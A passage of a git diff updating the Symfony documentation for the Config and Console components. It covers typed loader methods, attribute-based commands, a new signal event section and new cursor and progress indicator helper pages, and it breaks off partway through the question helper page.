@@ an array containing all matches. Resource Loaders ---------------- -For each type of resource (YAML, XML, annotation, etc.) a loader must be +For each type of resource (YAML, XML, attributes, etc.) a loader must be defined. Each loader should implement :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface` or extend the abstract :class:`Symfony\\Component\\Config\\Loader\\FileLoader` class, @@ -53,7 +43,7 @@ which allows for recursively importing other resources:: class YamlUserLoader extends FileLoader { - public function load($resource, $type = null) + public function load($resource, $type = null): void { $configValues = Yaml::parse(file_get_contents($resource)); @@ -64,7 +54,7 @@ which allows for recursively importing other resources:: // $this->import('extra_users.yaml'); } - public function supports($resource, $type = null) + public function supports($resource, $type = null): bool { return is_string($resource) && 'yaml' === pathinfo( $resource, diff --git a/components/console.rst b/components/console.rst index 6a2abe2366e..14817240206 100644 --- a/components/console.rst +++ b/components/console.rst @@ -1,7 +1,3 @@ -.. index:: - single: Console; CLI - single: Components; Console - The Console Component ===================== @@ -52,6 +48,20 @@ Then, you can register the commands using // ... $application->add(new GenerateAdminCommand()); +You can also register inline commands and define their behavior thanks to the +``Command::setCode()`` method:: + + // ... + $application->register('generate-admin') + ->addArgument('username', InputArgument::REQUIRED) + ->setCode(function (InputInterface $input, OutputInterface $output): int { + // ... + + return Command::SUCCESS; + }); + +This is useful when creating a :doc:`single-command application </components/console/single_command_tool>`. + See the :doc:`/console` article for information about how to create commands. Learn more @@ -63,5 +73,4 @@ Learn more /console /components/console/* - /components/console/helpers/index /console/* diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst index 6eb9f2b5227..2195bbd2697 100644 --- a/components/console/changing_default_command.rst +++ b/components/console/changing_default_command.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Changing the Default Command - Changing the Default Command ============================ @@ -10,22 +7,18 @@ name to the ``setDefaultCommand()`` method:: namespace Acme\Console\Command; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Output\OutputInterface; + use Symfony\Component\Console\Style\SymfonyStyle; + #[AsCommand(name: 'hello:world', description: 'Outputs "Hello World"')] class HelloWorldCommand extends Command { - protected static $defaultName = 'hello:world'; - - protected function configure() + public function __invoke(SymfonyStyle $io): int { - $this->setDescription('Outputs "Hello World"'); - } + $io->writeln('Hello World'); - protected function execute(InputInterface $input, OutputInterface $output) - { - $output->writeln('Hello World'); + return Command::SUCCESS; } } @@ -53,7 +46,7 @@ This will print the following to the command line: Hello World -.. caution:: +.. warning:: This feature has a limitation: you cannot pass any argument or option to the default command because they are ignored. diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst index 79f5c6c1f4c..da538ac78f1 100644 --- a/components/console/console_arguments.rst +++ b/components/console/console_arguments.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Console arguments - Understanding how Console Arguments and Options Are Handled =========================================================== @@ -14,6 +11,7 @@ Have a look at the following command that has three options:: namespace Acme\Console\Command; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; @@ -21,14 +19,12 @@ Have a look at the following command that has three options:: use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; + #[AsCommand(name: 'demo:args', description: 'Describe args behaviors')] class DemoArgsCommand extends Command { - protected static $defaultName = 'demo:args'; - - protected function configure() + protected function configure(): void { $this - ->setDescription('Describe args behaviors') ->setDefinition( new InputDefinition([ new InputOption('foo', 'f'), @@ -38,7 +34,7 @@ Have a look at the following command that has three options:: ); } - protected function execute(InputInterface $input, OutputInterface $output) + protected function execute(InputInterface $input, OutputInterface $output): int { // ... } diff --git a/components/console/events.rst b/components/console/events.rst index 7183c2e75f7..699ba444747 100644 --- a/components/console/events.rst +++ b/components/console/events.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Events - Using Events ============ @@ -17,10 +14,11 @@ the wheel, it uses the Symfony EventDispatcher component to do the work:: $application->setDispatcher($dispatcher); $application->run(); -.. caution:: +.. warning:: Console events are only triggered by the main command being executed. - Commands called by the main command will not trigger any event. + Commands called by the main command will not trigger any event, unless + run by the application itself, see :doc:`/console/calling_commands`. The ``ConsoleEvents::COMMAND`` Event ------------------------------------ @@ -36,7 +34,7 @@ dispatched. Listeners receive a use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\Console\Event\ConsoleCommandEvent; - $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event) { + $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event): void { // gets the input instance $input = $event->getInput(); @@ -67,7 +65,7 @@ C/C++ standard:: use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\Console\Event\ConsoleCommandEvent; - $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event) { + $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event): void { // gets the command to be executed $command = $event->getCommand(); @@ -100,7 +98,7 @@ Listeners receive a use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\Console\Event\ConsoleErrorEvent; - $dispatcher->addListener(ConsoleEvents::ERROR, function (ConsoleErrorEvent $event) { + $dispatcher->addListener(ConsoleEvents::ERROR, function (ConsoleErrorEvent $event): void { $output = $event->getOutput(); $command = $event->getCommand(); @@ -134,7 +132,7 @@ Listeners receive a use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\Console\Event\ConsoleTerminateEvent; - $dispatcher->addListener(ConsoleEvents::TERMINATE, function (ConsoleTerminateEvent $event) { + $dispatcher->addListener(ConsoleEvents::TERMINATE, function (ConsoleTerminateEvent $event): void { // gets the output $output = $event->getOutput(); @@ -154,4 +152,103 @@ Listeners receive a It is then dispatched just after the ``ConsoleEvents::ERROR`` event. The exit code received in this case is the exception code. + Additionally, the event is dispatched when the command is being exited on + a signal. You can learn more about signals in the + :ref:`the dedicated section <console-events_signal>`. + +.. _console-events_signal: + +The ``ConsoleEvents::SIGNAL`` Event +----------------------------------- + +**Typical Purposes**: To perform some actions after the command execution was interrupted. + +`Signals`_ are asynchronous notifications sent to a process in order to notify +it of an event that occurred. For example, when you press ``Ctrl + C`` in a +command, the operating system sends the ``SIGINT`` signal to it. + +When a command is interrupted, Symfony dispatches the ``ConsoleEvents::SIGNAL`` +event. Listen to this event so you can perform some actions (e.g. logging some +results, cleaning some temporary files, etc.) before finishing the command execution. + +Listeners receive a +:class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event:: + + use Symfony\Component\Console\ConsoleEvents; + use Symfony\Component\Console\Event\ConsoleSignalEvent; + + $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event): void { + + // gets the signal number + $signal = $event->getHandlingSignal(); + + // sets the exit code + $event->setExitCode(0); + + if (\SIGINT === $signal) { + echo "bye bye!"; + } + }); + +It is also possible to abort the exit if you want the command to continue its +execution even after the event has been dispatched, thanks to the +:method:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent::abortExit` +method:: + + use Symfony\Component\Console\ConsoleEvents; + use Symfony\Component\Console\Event\ConsoleSignalEvent; + + $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) { + $event->abortExit(); + }); + +.. tip:: + + All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as + `constants of the PCNTL PHP extension`_. The extension has to be installed + for these constants to be available. + +If you use the Console component inside a Symfony application, commands can +handle signals themselves by subscribing to the :class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event:: + + // src/Command/MyCommand.php + namespace App\Command; + + use Symfony\Component\Console\Attribute\AsCommand; + use Symfony\Component\EventDispatcher\Attribute\AsEventListener; + + #[AsCommand(name: 'app:my-command')] + class MyCommand + { + // ... + + #[AsEventListener(ConsoleSignalEvent::class)] + public function handleSignal(ConsoleSignalEvent $event): void + { + // set here any of the constants defined by PCNTL extension + if (in_array($event->getHandlingSignal(), [\SIGINT, \SIGTERM], true)) { + // ... + } + + // ... + + // set an integer exit code, or + // false to continue normal execution + $event->setExitCode(0); + } + } + +Symfony doesn't handle any signal received by the command (not even ``SIGKILL``, +``SIGTERM``, etc). This behavior is intended, as it gives you the flexibility to +handle all signals e.g. to do some tasks before terminating the command. + +.. tip:: + + If you need to fetch the signal name from its integer value (e.g. for logging), + you can use the + :method:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap::getSignalName` + method. + .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html +.. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC) +.. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst new file mode 100644 index 00000000000..63045f178ad --- /dev/null +++ b/components/console/helpers/cursor.rst @@ -0,0 +1,96 @@ +Cursor Helper +============= + +The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the +cursor position in a console command. This allows you to write on any position +of the output: + +.. image:: /_images/components/console/cursor.gif + :alt: A command outputs on various positions on the screen, eventually drawing the letters "SF". + +.. code-block:: php + + // src/Command/MyCommand.php + namespace App\Command; + + use Symfony\Component\Console\Attribute\AsCommand; + use Symfony\Component\Console\Cursor; + use Symfony\Component\Console\Output\OutputInterface; + + #[AsCommand(name: 'app:my-command')] + class MyCommand + { + // ... + + public function __invoke(OutputInterface $output): int + { + // ... + + $cursor = new Cursor($output); + + // moves the cursor to a specific column (1st argument) and + // row (2nd argument) position + $cursor->moveToPosition(7, 11); + + // and write text on this position using the output + $output->write('My text'); + + // ... + } + } + +Using the cursor +---------------- + +Moving the cursor +................. + +There are few methods to control moving the command cursor:: + + // moves the cursor 1 line up from its current position + $cursor->moveUp(); + + // moves the cursor 3 lines up from its current position + $cursor->moveUp(3); + + // same for down + $cursor->moveDown(); + + // moves the cursor 1 column right from its current position + $cursor->moveRight(); + + // moves the cursor 3 columns right from its current position + $cursor->moveRight(3); + + // same for left + $cursor->moveLeft(); + + // move the cursor to a specific (column, row) position from the + // top-left position of the terminal + $cursor->moveToPosition(7, 11); + +You can get the current command's cursor position by using:: + + $position = $cursor->getCurrentPosition(); + // $position[0] // columns (aka x coordinate) + // $position[1] // rows (aka y coordinate) + +Clearing output +............... + +The cursor can also clear some output on the screen:: + + // clears all the output from the current line + $cursor->clearLine(); + + // clears all the output from the current line after the current position + $cursor->clearLineAfter(); + + // clears all the output from the cursors' current position to the end of the screen + $cursor->clearOutput(); + + // clears the entire screen + $cursor->clearScreen(); + +You also can leverage the :method:`Symfony\\Component\\Console\\Cursor::show` +and :method:`Symfony\\Component\\Console\\Cursor::hide` methods on the cursor. diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst index 89609da8419..8fa59c319c9 100644 --- a/components/console/helpers/debug_formatter.rst +++ b/components/console/helpers/debug_formatter.rst @@ -1,27 +1,23 @@ -.. index:: - single: Console Helpers; DebugFormatter Helper - Debug Formatter Helper ====================== The :class:`Symfony\\Component\\Console\\Helper\\DebugFormatterHelper` provides functions to output debug information when running an external program, for instance a process or HTTP request. For example, if you used it to output -the results of running ``ls -la`` on a UNIX system, it might output something -like this: +the results of running ``figlet symfony``, it might output something like +this: .. image:: /_images/components/console/debug_formatter.png - :align: center + :alt: Console output, with the first line showing "RUN Running figlet", followed by lines showing the output of the command prefixed with "OUT" and "RES Finished the command" as last line in the output. -Using the debug_formatter +Using the Debug Formatter ------------------------- -The formatter is included in the default helper set and you can get it by -calling :method:`Symfony\\Component\\Console\\Command\\Command::getHelper`:: +The debug formatter helper can be instantiated directly as shown:: - $debugFormatter = $this->getHelper('debug_formatter'); + $debugFormatter = new DebugFormatterHelper(); -The formatter accepts strings and returns a formatted string, which you then +It accepts strings and returns a formatted string, which you then output to the console (or even log the information or do anything else). All methods of this helper have an identifier as the first argument. This is a @@ -81,7 +77,7 @@ using // ... $process = new Process(...); - $process->run(function ($type, $buffer) use ($output, $debugFormatter, $process) { + $process->run(function (string $type, string $buffer) use ($output, $debugFormatter, $process): void { $output->writeln( $debugFormatter->progress( spl_object_hash($process), diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst index ba3c2743d24..cf9bacdeb9c 100644 --- a/components/console/helpers/formatterhelper.rst +++ b/components/console/helpers/formatterhelper.rst @@ -1,22 +1,21 @@ -.. index:: - single: Console Helpers; Formatter Helper - Formatter Helper ================ -The Formatter helper provides functions to format the output with colors. -You can do more advanced things with this helper than you can in -:doc:`/console/coloring`. - -The :class:`Symfony\\Component\\Console\\Helper\\FormatterHelper` is included -in the default helper set, which you can get by calling -:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`:: +The :class:`Symfony\\Component\\Console\\Helper\\FormatterHelper` helper provides +functions to format the output with colors. You can do more advanced things with +this helper than you can with the :doc:`basic colors and styles </console/coloring>`:: - $formatter = $this->getHelper('formatter'); + $formatter = new FormatterHelper(); The methods return a string, which you'll usually render to the console by passing it to the -:method:`OutputInterface::writeln <Symfony\\Component\\Console\\Output\\OutputInterface::writeln>` method. +:method:`OutputInterface::writeln <Symfony\\Component\\Console\\Output\\OutputInterface::writeln>` +method. + +.. note:: + + As an alternative, consider using the + :ref:`SymfonyStyle <symfony-style-blocks>` to display stylized blocks. Print Messages in a Section --------------------------- @@ -61,8 +60,9 @@ block will be formatted with more padding (one blank line above and below the messages and 2 spaces on the left and right). The exact "style" you use in the block is up to you. In this case, you're using -the pre-defined ``error`` style, but there are other styles, or you can create -your own. See :doc:`/console/coloring`. +the pre-defined ``error`` style, but there are other styles (``info``, +``comment``, ``question``), or you can create your own. +See :doc:`/console/coloring`. Print Truncated Messages ------------------------ @@ -78,11 +78,13 @@ you can write:: $truncatedMessage = $formatter->truncate($message, 7); $output->writeln($truncatedMessage); -And the output will be:: +And the output will be: + +.. code-block:: text This is... -The message is truncated to the given length, then the suffix is appended to end +The message is truncated to the given length, then the suffix is appended to the end of that string. Negative String Length @@ -93,7 +95,9 @@ from the end of the string:: $truncatedMessage = $formatter->truncate($message, -5); -This will result in:: +This will result in: + +.. code-block:: text This is a very long message, which should be trun... @@ -102,7 +106,7 @@ Custom Suffix By default, the ``...`` suffix is used. If you wish to use a different suffix, pass it as the third argument to the method. -The suffix is always appended, unless truncate length is longer than a message +The suffix is always appended, unless truncated length is longer than a message and a suffix length. If you don't want to use suffix at all, pass an empty string:: @@ -112,3 +116,34 @@ If you don't want to use suffix at all, pass an empty string:: $truncatedMessage = $formatter->truncate('test', 10); // result: test // because length of the "test..." string is shorter than 10 + +Formatting Time +--------------- + +Sometimes you want to format seconds to time. This is possible with the +:method:`Symfony\\Component\\Console\\Helper\\Helper::formatTime` method. +The first argument is the seconds to format and the second argument is the +precision (default ``1``) of the result:: + + Helper::formatTime(0.001); // 1 ms + Helper::formatTime(42); // 42 s + Helper::formatTime(125); // 2 min + Helper::formatTime(125, 2); // 2 min, 5 s + Helper::formatTime(172799, 4); // 1 d, 23 h, 59 min, 59 s + Helper::formatTime(172799.056, 5); // 1 d, 23 h, 59 min, 59 s, 56 ms + +.. versionadded:: 7.3 + + Support for formatting up to milliseconds was introduced in Symfony 7.3. + +Formatting Memory +----------------- + +Sometimes you want to format memory to GiB, MiB, KiB and B. This is possible with the +:method:`Symfony\\Component\\Console\\Helper\\Helper::formatMemory` method. +The only argument is the memory size to format:: + + Helper::formatMemory(512); // 512 B + Helper::formatMemory(1024); // 1 KiB + Helper::formatMemory(1024 * 1024); // 1.0 MiB + Helper::formatMemory(1024 * 1024 * 1024); // 1 GiB diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst index 87c62ca7629..893652fb5ab 100644 --- a/components/console/helpers/index.rst +++ b/components/console/helpers/index.rst @@ -1,20 +1,7 @@ -.. index:: - single: Console; Console Helpers - The Console Helpers =================== -.. toctree:: - :hidden: - - formatterhelper - processhelper - progressbar - questionhelper - table - debug_formatter - The Console component comes with some useful helpers. These helpers contain -function to ease some common tasks. +functions to ease some common tasks. .. include:: map.rst.inc diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc index 68e1e722a87..73d5d4da7a0 100644 --- a/components/console/helpers/map.rst.inc +++ b/components/console/helpers/map.rst.inc @@ -1,6 +1,9 @@ * :doc:`/components/console/helpers/formatterhelper` * :doc:`/components/console/helpers/processhelper` * :doc:`/components/console/helpers/progressbar` +* :doc:`/components/console/helpers/progressindicator` * :doc:`/components/console/helpers/questionhelper` * :doc:`/components/console/helpers/table` +* :doc:`/components/console/helpers/tree` * :doc:`/components/console/helpers/debug_formatter` +* :doc:`/components/console/helpers/cursor` diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst index 45572d90a66..df9a8efe45b 100644 --- a/components/console/helpers/processhelper.rst +++ b/components/console/helpers/processhelper.rst @@ -1,19 +1,17 @@ -.. index:: - single: Console Helpers; Process Helper - Process Helper ============== -The Process Helper shows processes as they're running and reports -useful information about process status. +The Process Helper shows processes as they're running and reports useful +information about process status. -To display process details, use the :class:`Symfony\\Component\\Console\\Helper\\ProcessHelper` -and run your command with verbosity. For example, running the following code with +To display process details, use the +:class:`Symfony\\Component\\Console\\Helper\\ProcessHelper` and run your command +with verbosity. For example, running the following code with a very verbose verbosity (e.g. ``-vv``):: use Symfony\Component\Process\Process; - $helper = $this->getHelper('process'); + $helper = new ProcessHelper(); $process = new Process(['figlet', 'Symfony']); $helper->run($output, $process); @@ -21,24 +19,30 @@ a very verbose verbosity (e.g. ``-vv``):: will result in this output: .. image:: /_images/components/console/process-helper-verbose.png + :alt: Console output showing two lines: "RUN 'figlet' 'Symfony'" and "RES Command ran successfully". It will result in more detailed output with debug verbosity (e.g. ``-vvv``): .. image:: /_images/components/console/process-helper-debug.png + :alt: In between the command line and the result line, the command's output is now shown prefixed by "OUT". In case the process fails, debugging is easier: .. image:: /_images/components/console/process-helper-error-debug.png + :alt: The last line shows "RES 127 Command dit not run successfully", and the output lines show more the error information from the command. -Arguments ---------- +.. note:: -There are three ways to use the process helper: + By default, the process helper uses the error output (``stderr``) as + its default output. This behavior can be changed by passing an instance of + :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the + :method:`Symfony\\Component\\Console\\Helper\\ProcessHelper::run` + method. -* Using a command line string:: +Arguments +--------- - // ... - $helper->run($output, 'figlet Symfony'); +There are two ways to use the process helper: * An array of arguments:: @@ -72,7 +76,7 @@ A custom process callback can be passed as the fourth argument. Refer to the use Symfony\Component\Process\Process; - $helper->run($output, $process, 'The process failed :(', function ($type, $data) { + $helper->run($output, $process, 'The process failed :(', function (string $type, string $data): void { if (Process::ERR === $type) { // ... do something with the stderr output } else { diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst index c5f07a87893..19e2d0daef5 100644 --- a/components/console/helpers/progressbar.rst +++ b/components/console/helpers/progressbar.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console Helpers; Progress Bar - Progress Bar ============ @@ -8,6 +5,12 @@ When executing longer-running commands, it may be helpful to show progress information, which updates as your command runs: .. image:: /_images/components/console/progressbar.gif + :alt: Console output showing a progress bar advance to 100%, with the estimated time left, the memory usage and a special message that changes when the bar closes completion. + +.. note:: + + As an alternative, consider using the + :ref:`SymfonyStyle <symfony-style-progressbar>` to display a progress bar. To display progress details, use the :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`, pass it a total @@ -41,11 +44,31 @@ number of units, and advance the progress as the command executes:: ``$progress->advance()`` with a negative value. For example, if you call ``$progress->advance(-2)`` then it will regress the progress bar 2 steps. +.. note:: + + By default, the progress bar helper uses the error output (``stderr``) as + its default output. This behavior can be changed by passing an instance of + :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the + :class:`Symfony\\Component\\Console\\Helper\\ProgressBar` + constructor. + Instead of advancing the bar by a number of steps (with the :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::advance` method), you can also set the current progress by calling the :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::setProgress` method. +If you are resuming long-standing tasks, it's useful to start drawing the progress +bar at a certain point. Use the second optional argument of ``start()`` to set +that starting point:: + + use Symfony\Component\Console\Helper\ProgressBar; + + // creates a new progress bar (100 units) + $progressBar = new ProgressBar($output, 100); + + // displays the progress bar starting at 25 completed units + $progressBar->start(null, 25); + .. tip:: If your platform doesn't support ANSI codes, updates to the progress @@ -84,6 +107,12 @@ The progress will then be displayed as a throbber: 1/3 [=========>------------------] 33% 3/3 [============================] 100% +.. tip:: + + An alternative to this is to use a + :doc:`/components/console/helpers/progressindicator` instead of a + progress bar. + Whenever your task is finished, don't forget to call :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::finish` to ensure that the progress bar display is refreshed with a 100% completion. @@ -210,10 +239,14 @@ current progress of the bar. Here is a list of the built-in placeholders: * ``memory``: The current memory usage; * ``message``: used to display arbitrary messages in the progress bar (as explained later). +The time fields ``elapsed``, ``remaining`` and ``estimated`` are displayed with +a precision of 2. That means ``172799`` seconds are displayed as +``1 day, 23 hrs`` instead of ``1 day, 23 hrs, 59 mins, 59 secs``. + For instance, here is how you could set the format to be the same as the ``debug`` one:: - $progressBar->setFormat(' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%/%estimated:-6s% %memory:6s%'); + $progressBar->setFormat(' %current%/%max% [%bar%] %percent:3s%% %elapsed:16s%/%estimated:-16s% %memory:6s%'); Notice the ``:6s`` part added to some placeholders? That's how you can tweak the appearance of the bar (formatting and alignment). The part after the colon @@ -290,10 +323,10 @@ to display it can be customized:: // the bar width $progressBar->setBarWidth(50); -.. caution:: +.. warning:: - For performance reasons, Symfony redraws screen every 100ms. If this is too - fast or to slow for your application, use the methods + For performance reasons, Symfony redraws the screen once every 100ms. If this is too + fast or too slow for your application, use the methods :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::minSecondsBetweenRedraws` and :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::maxSecondsBetweenRedraws`:: @@ -321,13 +354,23 @@ display that are not available in the list of built-in placeholders, you can create your own. Let's see how you can create a ``remaining_steps`` placeholder that displays the number of remaining steps:: + // This definition is globally registered for all ProgressBar instances ProgressBar::setPlaceholderFormatterDefinition( 'remaining_steps', - function (ProgressBar $progressBar, OutputInterface $output) { + function (ProgressBar $progressBar, OutputInterface $output): int { return $progressBar->getMaxSteps() - $progressBar->getProgress(); } ); +It is also possible to set a placeholder formatter per ProgressBar instance +with the ``setPlaceholderFormatter`` method:: + + $progressBar = new ProgressBar($output, 3, 0); + $progressBar->setFormat('%countdown% [%bar%]'); + $progressBar->setPlaceholderFormatter('countdown', function (ProgressBar $progressBar) { + return $progressBar->getMaxSteps() - $progressBar->getProgress(); + }); + Custom Messages ~~~~~~~~~~~~~~~ @@ -348,8 +391,8 @@ placeholder before displaying the progress bar:: $progressBar->start(); // 0/100 -- Start - $progressBar->advance(); $progressBar->setMessage('Task is in progress...'); + $progressBar->advance(); // 1/100 -- Task is in progress... Messages can be combined with custom placeholders too. In this example, the diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst new file mode 100644 index 00000000000..0defe7c83fd --- /dev/null +++ b/components/console/helpers/progressindicator.rst @@ -0,0 +1,155 @@ +Progress Indicator +================== + +Progress indicators are useful to let users know that a command isn't stalled. +Unlike :doc:`progress bars </components/console/helpers/progressbar>`, these +indicators are used when the command duration is indeterminate (e.g. long-running +commands, unquantifiable tasks, etc.) + +They work by instantiating the :class:`Symfony\\Component\\Console\\Helper\\ProgressIndicator` +class and advancing the progress as the command executes:: + + use Symfony\Component\Console\Helper\ProgressIndicator; + + // creates a new progress indicator + $progressIndicator = new ProgressIndicator($output); + + // starts and displays the progress indicator with a custom message + $progressIndicator->start('Processing...'); + + $i = 0; + while ($i++ < 50) { + // ... do some work + + // advances the progress indicator + $progressIndicator->advance(); + } + + // ensures that the progress indicator shows a final message + $progressIndicator->finish('Finished'); + +Customizing the Progress Indicator +---------------------------------- + +Built-in Formats +~~~~~~~~~~~~~~~~ + +By default, the information rendered on a progress indicator depends on the current +level of verbosity of the ``OutputInterface`` instance: + +.. code-block:: text + + # OutputInterface::VERBOSITY_NORMAL (CLI with no verbosity flag) + \ Processing... + | Processing... + / Processing... + - Processing... + ✔ Finished + + # OutputInterface::VERBOSITY_VERBOSE (-v) + \ Processing... (1 sec) + | Processing... (1 sec) + / Processing... (1 sec) + - Processing... (1 sec) + ✔ Finished (1 sec) + + # OutputInterface::VERBOSITY_VERY_VERBOSE (-vv) and OutputInterface::VERBOSITY_DEBUG (-vvv) + \ Processing... (1 sec, 6.0 MiB) + | Processing... (1 sec, 6.0 MiB) + / Processing... (1 sec, 6.0 MiB) + - Processing... (1 sec, 6.0 MiB) + ✔ Finished (1 sec, 6.0 MiB) + +.. tip:: + + Call a command with the quiet flag (``-q``) to not display any progress indicator. + +Instead of relying on the verbosity mode of the current command, you can also +force a format via the second argument of the ``ProgressIndicator`` +constructor:: + + $progressIndicator = new ProgressIndicator($output, 'verbose'); + +The built-in formats are the following: + +* ``normal`` +* ``verbose`` +* ``very_verbose`` + +If your terminal doesn't support ANSI, use the ``no_ansi`` variants: + +* ``normal_no_ansi`` +* ``verbose_no_ansi`` +* ``very_verbose_no_ansi`` + +Custom Indicator Values +~~~~~~~~~~~~~~~~~~~~~~~ + +Instead of using the built-in indicator values, you can also set your own:: + + $progressIndicator = new ProgressIndicator($output, 'verbose', 100, ['⠏', '⠛', '⠹', '⢸', '⣰', '⣤', '⣆', '⡇']); + +The progress indicator will now look like this: + +.. code-block:: text + + ⠏ Processing... + ⠛ Processing... + ⠹ Processing... + ⢸ Processing... + ✔ Finished + +Once the progress finishes, it displays a special finished indicator (which defaults +to ✔). You can replace it with your own:: + + $progressIndicator = new ProgressIndicator($output, finishedIndicatorValue: '🎉'); + + try { + /* do something */ + $progressIndicator->finish('Finished'); + } catch (\Exception) { + $progressIndicator->finish('Failed', '🚨'); + } + +The progress indicator will now look like this: + +.. code-block:: text + + \ Processing... + | Processing... + / Processing... + - Processing... + 🎉 Finished + +.. versionadded:: 7.2 + + The ``finishedIndicator`` parameter for the constructor was introduced in Symfony 7.2. + The ``finishedIndicator`` parameter for method ``finish()`` was introduced in Symfony 7.2. + +Customize Placeholders +~~~~~~~~~~~~~~~~~~~~~~ + +A progress indicator uses placeholders (a name enclosed with the ``%`` +character) to determine the output format. Here is a list of the +built-in placeholders: + +* ``indicator``: The current indicator; +* ``elapsed``: The time elapsed since the start of the progress indicator; +* ``memory``: The current memory usage; +* ``message``: used to display arbitrary messages in the progress indicator. + +For example, this is how you can customize the ``message`` placeholder:: + + ProgressIndicator::setPlaceholderFormatterDefinition( + 'message', + static function (ProgressIndicator $progressIndicator): string { + // Return any arbitrary string + return 'My custom message'; + } + ); + +.. note:: + + Placeholders customization is applied globally, which means that any + progress indicator displayed after the + ``setPlaceholderFormatterDefinition()`` call will be affected. diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst index a4cc68b80b2..6d22a2de2af 100644 --- a/components/console/helpers/questionhelper.rst +++ b/components/console/helpers/questionhelper.rst @@ -1,23 +1,23 @@ -.. index:: - single: Console Helpers; Question Helper - Question Helper =============== The :class:`Symfony\\Component\\Console\\Helper\\QuestionHelper` provides -functions to ask the user for more information. It is included in the default -helper set, which you can get by calling -:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`:: +functions to ask the user for more information:: - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); The Question Helper has a single method -:method:`Symfony\\Component\\Console\\Command\\Command::ask` that needs an +:method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask` that needs an :class:`Symfony\\Component\\Console\\Input\\InputInterface` instance as the first argument, an :class:`Symfony\\Component\\Console\\Output\\OutputInterface` instance as the second argument and a :class:`Symfony\\Component\\Console\\Question\\Question` as last argument. +.. note:: + + As an alternative, consider using the + :ref:`SymfonyStyle <symfony-style-questions>` to ask questions. + Asking the User for Confirmation -------------------------------- @@ -25,28 +25,34 @@ Suppose you want to confirm an action before actually executing it. Add the following to your command:: // ... + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ConfirmationQuestion; - class YourCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - // ... - - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new ConfirmationQuestion('Continue with this action?', false); if (!$helper->ask($input, $output, $question)) { return Command::SUCCESS; } + + // ... do something here + + return Command::SUCCESS; } } In this case, the user will be asked "Continue with this action?". If the user -answers with ``y`` it returns ``true`` or ``false`` if they answer with ``n``. +answers with ``y`` (or any word, expression starting with ``y`` due to default +answer regex, e.g ``yeti``) it returns ``true`` or ``false`` otherwise, e.g. ``n``. + The second argument to :method:`Symfony\\Component\\Console\\Question\\ConfirmationQuestion::__construct` is the default value to return if the user doesn't enter any valid input. If @@ -66,6 +72,14 @@ the second argument is not provided, ``true`` is assumed. The regex defaults to ``/^y/i``. +.. note:: + + By default, the question helper uses the error output (``stderr``) as + its default output. This behavior can be changed by passing an instance of + :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the + :method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask` + method. + Asking the User for Information ------------------------------- @@ -75,12 +89,16 @@ if you want to know a bundle name, you can add this to your command:: use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... $question = new 